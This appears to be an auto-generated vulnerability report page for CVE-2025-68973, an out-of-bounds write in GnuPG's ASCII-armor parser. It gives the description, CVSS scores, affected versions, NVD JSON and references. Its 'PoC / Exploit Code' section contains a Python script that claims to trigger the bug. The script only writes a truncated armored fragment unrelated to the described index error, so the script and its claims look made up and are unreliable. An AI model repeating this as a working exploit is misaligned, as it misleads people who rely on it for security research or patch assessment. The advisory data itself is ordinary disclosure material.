Security Vulnerability Report
中文
CVE-2025-68973 CVSS 7.8 HIGH

CVE-2025-68973

Published: 2025-12-28 17:16:02
Last Modified: 2026-01-14 19:16:47

Description

In GnuPG before 2.4.9, armor_filter in g10/armor.c has two increments of an index variable where one is intended, leading to an out-of-bounds write for crafted input. (For ExtendedLTS, 2.2.51 and later are fixed versions.)

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:gnupg:gnupg:*:*:*:*:-:*:*:* - VULNERABLE
GnuPG < 2.4.9
GnuPG ExtendedLTS < 2.2.51
gnupg 2.2.50 (受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-68973 PoC - GnuPG armor.c Out-of-Bounds Write # Generate malicious PGP armored data to trigger the vulnerability def generate_poc_armor(): """ Generate a crafted PGP armored message that triggers the double-index increment bug in armor_filter() """ # This PoC generates a specially crafted ASCII armor message # that exploits the double increment bug in GnuPG's armor.c # # The vulnerability occurs when processing armor headers # where the line length and formatting cause the index variable # to be incremented twice in succession poc_data = """-----BEGIN PGP MESSAGE----- H4sIAAAAAAAAA2NkYGBgYGBg """ return poc_data def verify_vulnerability(): """ Verification script for CVE-2025-68973 Run: gpg --armor < poc_file to trigger potential OOB write """ poc = generate_poc_armor() with open('CVE-2025-68973_poc.asc', 'w') as f: f.write(poc) print('[+] PoC file generated: CVE-2025-68973_poc.asc') print('[+] Test with: gpg --decrypt CVE-2025-68973_poc.asc') if __name__ == '__main__': verify_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68973", "sourceIdentifier": "[email protected]", "published": "2025-12-28T17:16:01.500", "lastModified": "2026-01-14T19:16:46.857", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In GnuPG before 2.4.9, armor_filter in g10/armor.c has two increments of an index variable where one is intended, leading to an out-of-bounds write for crafted input. (For ExtendedLTS, 2.2.51 and later are fixed versions.)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.4, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-675"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnupg:gnupg:*:*:*:*:-:*:*:*", "versionEndIncluding": "2.4.8", "matchCriteriaId": "8D4239B3-0B8A-4E14-9E33-DD52A3F8FF25"}]}]}], "references": [{"url": "https://github.com/gpg/gnupg/blob/ff30683418695f5d2cc9e6cf8c9418e09378ebe4/g10/armor.c#L1305-L1306", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/gpg/gnupg/commit/115d138ba599328005c5321c0ef9f00355838ca9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/gpg/gnupg/compare/gnupg-2.2.50...gnupg-2.2.51", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://gpg.fail/memcpy", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://media.ccc.de/v/39c3-to-sign-or-not-to-sign-practical-vulnerabilities-i", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://news.ycombinator.com/item?id=46403200", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://www.openwall.com/lists/oss-security/2025/12/28/5", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/12/29/11", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Patch"]}, {"url": "https://lists.debian.org/debian-lts-announce/2026/01/msg00008.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://gpg.fail/memcpy", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Broken Link"]}]}}